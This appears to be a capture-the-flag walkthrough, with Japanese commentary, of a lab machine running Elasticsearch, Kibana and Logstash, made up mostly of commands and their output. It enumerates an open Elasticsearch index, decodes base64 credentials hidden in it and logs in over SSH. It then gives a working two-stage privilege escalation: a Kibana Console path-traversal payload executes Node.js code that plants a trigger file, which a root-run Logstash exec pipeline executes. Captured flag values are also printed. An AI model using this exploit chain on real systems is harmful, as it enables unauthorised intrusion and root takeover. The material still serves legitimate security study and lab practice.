nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.227.120

PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http  (nginx、静的ページのみ・攻略には使わない)
9200/tcp open     wap-wsp (Elasticsearch HTTP API)
5000/tcp filtered upnp
5044/tcp filtered lxi-evntsvc   (Logstash beats input, 外部非公開)
5601/tcp filtered esmagent      (Kibana, 外部非公開・localhostのみ)

curl -s http://10.129.227.120:9200/

{
  "name" : "iQEYHgS",
  "cluster_name" : "elasticsearch",
  "version" : {
    "number" : "6.4.2",
    ...
  },
  "tagline" : "You Know, for Search"
}

curl -s http://10.129.227.120:9200/_cat/indices?v

health status index  uuid                   docs.count
yellow open   quotes pjrX7V_gSFmJY-DxP4tCQg 253

# size=253 で全件(docs.count=253)を一度に取得
curl -s "http://10.129.227.120:9200/quotes/_search?size=253" -o quotes.json

{"_index":"quotes","_type":"quote","_id":"14","_score":1.0,
 "_source":{"quote":"En América se desarrollaron importantes civilizaciones..."}}
...(スペイン語の歴史に関する引用文が253件)
{"_index":"quotes","_type":"quote","_id":"193","_score":1.0,
 "_source":{"quote":"dXNlcjogc2VjdXJpdHk"}}
{"_index":"quotes","_type":"quote","_id":"194","_score":1.0,
 "_source":{"quote":"cGFzczogc3BhbmlzaC5pcy5rZXk="}}

import base64, re, json

data = json.load(open("quotes.json"))
for hit in data["hits"]["hits"]:
    q = hit["_source"]["quote"]
    # base64っぽい文字列(英数字+/+パディング)だけを対象にデコード試行
    if re.fullmatch(r"[A-Za-z0-9+/]{12,}={0,2}", q):
        try:
            dec = base64.b64decode(q).decode("utf-8")
            print(f"id={hit['_id']}: {q} -> {dec}")
        except Exception:
            pass

cat quotes.json | grep -oE '"quote":"[A-Za-z0-9+/]{12,}={0,2}"' \
  | sed 's/"quote":"//;s/"$//' \
  | while read -r b64; do echo -n "$b64 -> "; echo "$b64" | base64 -d 2>/dev/null; echo; done

dXNlcjogc2VjdXJpdHk -> user: security
cGFzczogc3BhbmlzaC5pcy5rZXk= -> pass: spanish.is.key

ssh security@10.129.227.120
# Password: spanish.is.key

security@haystack:~$ id
security@haystack:~$ cat ~/user.txt

uid=1000(security) gid=1000(security) groups=1000(security)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
b678ff45098006b7c85d8791bf9d1a8f

security@haystack:~$ netstat -tlnp 2>/dev/null || ss -tlnp
security@haystack:~$ curl -s http://localhost:5601/api/status | head -5

tcp  0  0 127.0.0.1:5601  0.0.0.0:*  LISTEN  (kibana)
tcp  0  0 127.0.0.1:9600  0.0.0.0:*  LISTEN  (logstash monitoring)
{"name":"...","version":{"number":"6.4.2"...

Kibana の Console プラグインが提供する /api/console/api_server エンドポイントは
"apis" パラメータで指定したファイルを Node.js の require() で読み込み実行する
設計になっている。本来は Console が内蔵する定義済みJSONファイルを
読み込むためのものだが、パスのサニタイズが不十分でパストラバーサルが可能。

  GET /api/console/api_server?apis=../../../../../../../../tmp/shell.js

→ /tmp/shell.js が **kibanaユーザーの権限でrequire()され実行される**
  (任意コードがkibanaの実行コンテキストで走る)

重要な制約:
  - このエンドポイントはレスポンスをまともに返さずハングする傾向がある
    (require成功後も内部でエラーになり、応答が返ってこない)
  - Node.jsのrequire()キャッシュ機構により、**同じファイルパスを2回目以降
    requireしても再実行されない** (キャッシュされたモジュールを返すだけ)
    → 毎回ユニークなファイル名(タイムスタンプ付き等)を使う必要がある

Kibana自身はrootではなくkibanaユーザーで動くため、LFIで直接rootを
取ることはできない。このマシンではLogstashがroot権限で稼働しており、
/opt/kibana/ 配下のファイルをfile inputプラグインで監視・読み込みしている。

Logstashのパイプライン設定には次のようなgrokフィルタ + execプラグインの
組み合わせが仕込まれている(事前に /etc/logstash/conf.d/ 等に設置された
設定、このマシンの既定構成):

  input  { file { path => "/opt/kibana/logstash_*" } }
  filter {
    grok { match => { "message" => "Ejecutar comando : %{GREEDYDATA:comando}" } }
  }
  output { exec  { command => "%{comando}" } }  # ← root権限で実行

つまり /opt/kibana/logstash_<任意> というファイルに
"Ejecutar comando : <実行したいコマンド>" という1行を書き込めば、
Logstashがそれを10秒おきのポーリングで検知し、**root権限でコマンドを
実行**してしまう。

ただし /opt/kibana は root:kibana 所有で kibana グループのみ書込可能
(securityユーザーは書けない)。そこで前述のKibana LFI(kibanaユーザーで
任意JS実行)を使い、kibana権限で /opt/kibana/logstash_ を書き込む
という2段構えが必要になる。

# タイムスタンプでユニークなファイル名にする(require/file-inputキャッシュ回避)
TS=$(date +%s%3N)

cat > /tmp/shell_${TS}.js << JSEOF
(function(){
  var cp = require("child_process");
  // 既存の logstash_* トリガーファイルを掃除してから新規トリガーを書く
  // (古いファイルを放置すると再トリガーでrootコマンドが多発し過負荷になる)
  cp.exec(
    "rm -f /opt/kibana/logstash_* 2>/dev/null; " +
    "echo 'Ejecutar comando : cp /root/root.txt /tmp/.flag_${TS}; " +
    "chmod 666 /tmp/.flag_${TS}' > /opt/kibana/logstash_${TS}"
  );
  return /a/;
})();
JSEOF
chmod 666 /tmp/shell_${TS}.js

# api_server のリクエストはrequire成功後もハングするため、
# nohup + timeout + バックグラウンド実行でデタッチして回収する
nohup timeout 6 curl -s \
  "http://127.0.0.1:5601/api/console/api_server?apis=../../../../../../../../tmp/shell_${TS}.js" \
  >/dev/null 2>&1 &

echo "トリガー送信完了 (TS=${TS})"

トリガー送信完了 (TS=1792463944105)

# Logstash の file input はデフォルトで新規ファイルの発見(discover_interval)
# ～10秒ごとのポーリングで反応するため、即座には結果が出ない。
# 数秒おきにポーリングして /tmp/.flag_ の出現を待つ。
for i in $(seq 1 15); do
  sleep 5
  out=$(cat /tmp/.flag_${TS} 2>/dev/null)
  if [ -n "$out" ]; then
    echo "root.txt = $out"
    break
  fi
  echo "attempt $i: まだ..."
done

attempt 1: まだ...
attempt 2: まだ...
attempt 3: まだ...
root.txt = fc6519863114418aac2e2f0a1b699e24